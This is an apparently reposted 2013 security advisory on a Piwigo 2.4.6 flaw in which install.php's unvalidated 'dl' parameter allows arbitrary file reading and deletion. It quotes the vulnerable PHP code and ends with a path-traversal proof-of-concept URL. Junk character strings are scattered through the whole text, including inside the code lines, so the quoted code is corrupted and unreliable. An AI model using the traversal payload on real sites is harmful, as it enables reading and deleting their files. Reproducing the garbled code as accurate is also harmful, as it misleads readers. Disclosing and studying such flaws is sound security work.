Piwigo是用PHP编写的相册脚本。. Q! A% h% Q. [! V) h
, X/ b! _0 |; Z: T
Piwigo 2.4.6及其他版本没有正确验证install.php脚本的 'dl'参数值,在实现上存在安全漏洞,攻击者可利用这些漏洞查看受影响计算机上的任意文件,删除受影响应用上下文内的任意文件。. W4 S3 g9 r4 M% I0 Q, O
====================================================================7 l0 j6 u; W0 E5 s. T: H: O! K
/install.php:4 g% u4 v$ t; W0 @- F# R: C
-------------
; m) B! E/ [! u: h W, L! Z3 e113: if (!empty($_GET['dl']) && file_exists(PHPWG_ROOT_PATH.$conf['data_location'].'pwg_'.$_GET['dl']))8 y1 k( M5 q5 o$ B2 }) P5 h7 z
114: {2 O1 p6 H2 d% x7 E& o o' j! v: W
115: $filename = PHPWG_ROOT_PATH.$conf['data_location'].'pwg_'.$_GET['dl'];$ l% c/ k* s0 ]/ X' X& _* ~( \
116: header('Cache-Control: no-cache, must-revalidate');! O f( {) D8 {1 ]
117: header('Pragma: no-cache');
! g6 N8 b+ K f, Z5 h' C+ E! l118: header('Content-Disposition: attachment; filename="database.inc.php"');
2 l2 P/ D" m1 z. K119: header('Content-Transfer-Encoding: binary'); j3 ^- L( |* ~. j+ J6 \
120: header('Content-Length: '.filesize($filename));( v9 t9 e- y4 | L
121: echo file_get_contents($filename);
0 }9 L# a4 w) B9 {3 ^1 a" x$ u5 t122: unlink($filename);
' ^, {9 c1 X0 s! n& x% J! }0 U123: exit();5 i3 Q$ x1 I" @
124: }
' w ]5 _- b; t" x! N. f a====================================================================
' ]0 a U) N+ ~ : j9 i! E8 m) I' d% e5 M
Tested on: Microsoft Windows 7 Ultimate SP1 (EN)
1 m( o1 r ^/ J9 ], u Apache 2.4.2 (Win32)
- K/ i) ]! C# e+ p1 t. N PHP 5.4.43 T. j$ M0 K& F# E6 y1 A, \
MySQL 5.5.25a- y [9 z: ^9 L* i) [6 X
8 d2 K y9 @; m4 {; _9 S3 B8 IVulnerability discovered by Gjoko 'LiquidWorm' Krstic5 {; Y: R& r& j
@zeroscience$ W6 @$ g7 s/ m" N6 B+ J, Z) g
% E$ V9 q: T2 P2 j' Z4 x
Advisory ID: ZSL-2013-5127
) \9 \3 b! T* ?/ N# B% U+ P: Z- X" oAdvisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2013-5127.php
4 W8 N0 e9 }" z+ Y: ^ nVendor Patch: http://piwigo.org/bugs/view.php?id=2843+ w9 X6 I( _3 b& V9 x) Y* {
- u6 O, g0 |: \9 M. r. I
15.02.2013. _; `* P. Y' E% s2 _
' |% R6 o; R o# k& c
--
! M) ?* L; I( A! f5 o( }; w* r5 U" ohttp://localhost/piwigo/install.php?dl=../../../../../../lio_passwords.txt8 W# K4 n# w- B" B% t4 X
$ n5 G2 I# A, O# C
|